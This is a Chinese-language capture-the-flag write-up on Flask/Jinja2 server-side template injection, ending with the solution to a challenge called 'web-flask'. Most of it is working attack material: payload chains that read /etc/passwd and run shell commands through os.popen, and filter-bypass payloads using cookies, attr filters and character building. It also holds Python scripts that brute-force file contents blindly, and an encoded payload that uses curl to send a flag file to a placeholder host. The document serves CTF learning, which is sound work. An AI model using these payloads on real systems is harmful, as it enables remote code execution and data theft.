长安战疫web-flask复现
由于hexo博客框架的一些问题,以下在{ {与{ %之间加入空格,同时将< type ‘str’ >的<后与>前加入空格。
前置知识
flask模板注入
常用的魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
常规步骤
1.测试是否存在模板注入
?name={ {1*1} }
回显:1
2.获取’’字符串的所属对象
?name=''.__class__
回显:< type 'str' >
3.获取str类的父类
?name=''.__class__.__mro__
回显:(< class 'str' >, < class 'object' >)
4.获取object的所有子类
?name=''.__class__.__mro__[1].__subclasses__()
回显:[< class 'type' >, < class 'weakref' >, < class 'weakcallableproxy' >, < class 'weakproxy' >, < class 'int' >, < class 'bytearray' >, < class 'bytes' >, < class 'list' >, < class 'NoneType' >, < class 'NotImplementedType' >, < class 'traceback' >, < class 'super' >...
5.寻找可用的引用并引用
读取文件
现在只需要从这些类中寻找需要的类,用数组下标获取,然后执行该类中想要执行的函数即可。比如第41个类是file类,就可以构造利用:
?name=''.__class__.__mro__[1].__subclasses__()[40]('< File_To_Read >').read()
如果没有file类,使用类***<class ‘_frozen_importlib_external.FileLoader’>***,可以进行文件的读取。这里是第91个类。
?name=''.__class__.__mro__[1].__subclasses__()[91].get_data(0,"< file_To_Read >")
命令执行
首先通过脚本找到包含os模块的类
num = 0
for item in ''.__class__.__mro__[1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print (num,item)
num+=1
except:
print ('-')
num+=1
假设输出为x编号的类,则可以构造
?name=''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')
常用的包含os模板的类:
< class 'site._Printer' >
< class 'site.Quitter' >
常用
?name=''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('ls')
常用的payload
?name=''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()
?name=''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('ls')
?name=''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
SSTI沙盒逃逸详细总结
https://www.anquanke.com/post/id/188172
SSTL模板注入绕过方法
借鉴(抄袭)大佬博客https://blog.csdn.net/qq_45834505/article/details/116839614 强推
过滤单双引号
使用request绕过
?a=os&b=popen&c=cat /flag&name={ {url_for.__globals__[request.args.a][request.args.b](request.args.c).read()} }
字符串拼接
?name={ {url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]} }
==
?name={ {url_for.__globals__['os']} }
过滤args,中括号
cookie传值
?name={ {x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)} }
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
过滤下划线,os
使用自带过滤器attr
?name={ {(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)} }
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
过滤{ undefined { undefined
将{ undefined { 换成{ % % }来绕过
盲注
原理就在于open(’/flag’).read()是回显整个文件,但是read函数里加上参数:open(’/flag’).read(i),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了
import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
print(i)
for j in s:
x=flag+j
headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
r=requests.get(url,headers=headers)
#print(r.text)
if("1341" in r.text):
flag=x
print(flag)
break
ban了request
得到被ban的字符
譬如:
{ % set a=dict(o=oo,s=ss)|join % }
这样得到的a就是把这个字典的键名拼接后的值,即os,这样的拼接不需要用到单双引号,常用payload:
?name=
{ % set po=dict(po=a,p=a)|join% }
{ % set a=(()|select|string|list)|attr(po)(24)% }
{ % set ini=(a,a,dict(init=a)|join,a,a)|join()% }
{ % set glo=(a,a,dict(globals=a)|join,a,a)|join()% }
{ % set geti=(a,a,dict(getitem=a)|join,a,a)|join()% }
{ % set built=(a,a,dict(builtins=a)|join,a,a)|join()% }
{ % set x=(q|attr(ini)|attr(glo)|attr(geti))(built)% }
{ % set chr=x.chr% }
{ % set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)% }
{ %print(x.open(file).read())% }
读文件盲注
import requests
import string
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
url ='''http://b134fd30-bddc-4302-8578-8005b96f73c2.chall.ctf.show/?name=
{ % set a=(()|select|string|list).pop(24)% }
{ % set ini=(a,a,dict(init=a)|join,a,a)|join()% }
{ % set glo=(a,a,dict(globals=a)|join,a,a)|join()% }
{ % set geti=(a,a,dict(getitem=a)|join,a,a)|join()% }
{ % set built=(a,a,dict(builtins=a)|join,a,a)|join()% }
{ % set x=(q|attr(ini)|attr(glo)|attr(geti))(built)% }
{ % set chr=x.chr% }
{ % set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)% }
{ % set cmd2='''
s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):
print(i)
for j in s:
x=flag+j
u=url+ccchr(x)+'% }'+'{ % if x.open(cmd).read('+str(i)+')==cmd2% }'+'1341'+'{ % endif% }'
#print(u)
r=requests.get(u)
if("1341" in r.text):
flag=x
print(flag)
break
ban了数字
使用length来获得数字
(length可以用count代替)如:
?name=
{ % set c=(dict(e=a)|join|count)% }
{ % set cc=(dict(ee=a)|join|count)% }
{ % set ccc=(dict(eee=a)|join|count)% }
{ % set cccc=(dict(eeee=a)|join|count)% }
{ % set ccccccc=(dict(eeeeeee=a)|join|count)% }
{ % set cccccccc=(dict(eeeeeeee=a)|join|count)% }
{ % set ccccccccc=(dict(eeeeeeeee=a)|join|count)% }
{ % set cccccccccc=(dict(eeeeeeeeee=a)|join|count)% }
{ % set coun=(cc~cccc)|int% }
{ % set po=dict(po=a,p=a)|join% }
{ % set a=(()|select|string|list)|attr(po)(coun)% }
{ % set ini=(a,a,dict(init=a)|join,a,a)|join()% }
{ % set glo=(a,a,dict(globals=a)|join,a,a)|join()% }
{ % set geti=(a,a,dict(getitem=a)|join,a,a)|join()% }
{ % set built=(a,a,dict(builtins=a)|join,a,a)|join()% }
{ % set x=(q|attr(ini)|attr(glo)|attr(geti))(built)% }
{ % set chr=x.chr% }
{ % set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)% }
{ %print(x.open(file).read())% }
过滤了print
http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{ % set c=(t|count)% }
{ % set cc=(dict(e=a)|join|count)% }
{ % set ccc=(dict(ee=a)|join|count)% }
{ % set cccc=(dict(eee=a)|join|count)% }
{ % set ccccc=(dict(eeee=a)|join|count)% }
{ % set cccccc=(dict(eeeee=a)|join|count)% }
{ % set ccccccc=(dict(eeeeee=a)|join|count)% }
{ % set cccccccc=(dict(eeeeeee=a)|join|count)% }
{ % set ccccccccc=(dict(eeeeeeee=a)|join|count)% }
{ % set cccccccccc=(dict(eeeeeeeee=a)|join|count)% }
{ % set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)% }
{ % set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)% }
{ % set coun=(ccc~ccccc)|int% }
{ % set po=dict(po=a,p=a)|join% }
{ % set a=(()|select|string|list)|attr(po)(coun)% }
{ % set ini=(a,a,dict(init=a)|join,a,a)|join()% }
{ % set glo=(a,a,dict(globals=a)|join,a,a)|join()% }
{ % set geti=(a,a,dict(getitem=a)|join,a,a)|join()% }
{ % set built=(a,a,dict(builtins=a)|join,a,a)|join()% }
{ % set x=(q|attr(ini)|attr(glo)|attr(geti))(built)% }
{ % set chr=x.chr% }
{ % set cmd=% }
{ %if x.eval(cmd)% }
abc
{ %endif% }
cmd中内容用下面代码生成
def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))
题目详解
启动环境,F12有提示
<!--/admin-->
<!--/static.js-->
<!--
if not request.full_path.endswith(".js?"):
if not request.full_path.startswith("/login"):
return redirect("login")
-->
payload必须以.js?结尾,访问/admin?.js?,得到提示:admin/?name=,name值可控,尝试构造
/admin?name={ {1*1} }.js?
得到回显1,发现可以注入。构造
/admin?name=''__class__.js?
回显NO!
经过测试发现下划线,args,中括号被ban掉,最后构造
?name={ {(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)} }
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
得到flag:cazy{4ll_p30pL3_w1ll_b3_Funny}
参考:
https://blog.csdn.net/qq_45834505/article/details/116839614
https://www.jianshu.com/p/b6f1aea3a2eb
https://www.cnblogs.com/NPFS/p/12764599.html
https://www.freebuf.com/column/187845.html
https://www.anquanke.com/post/id/188172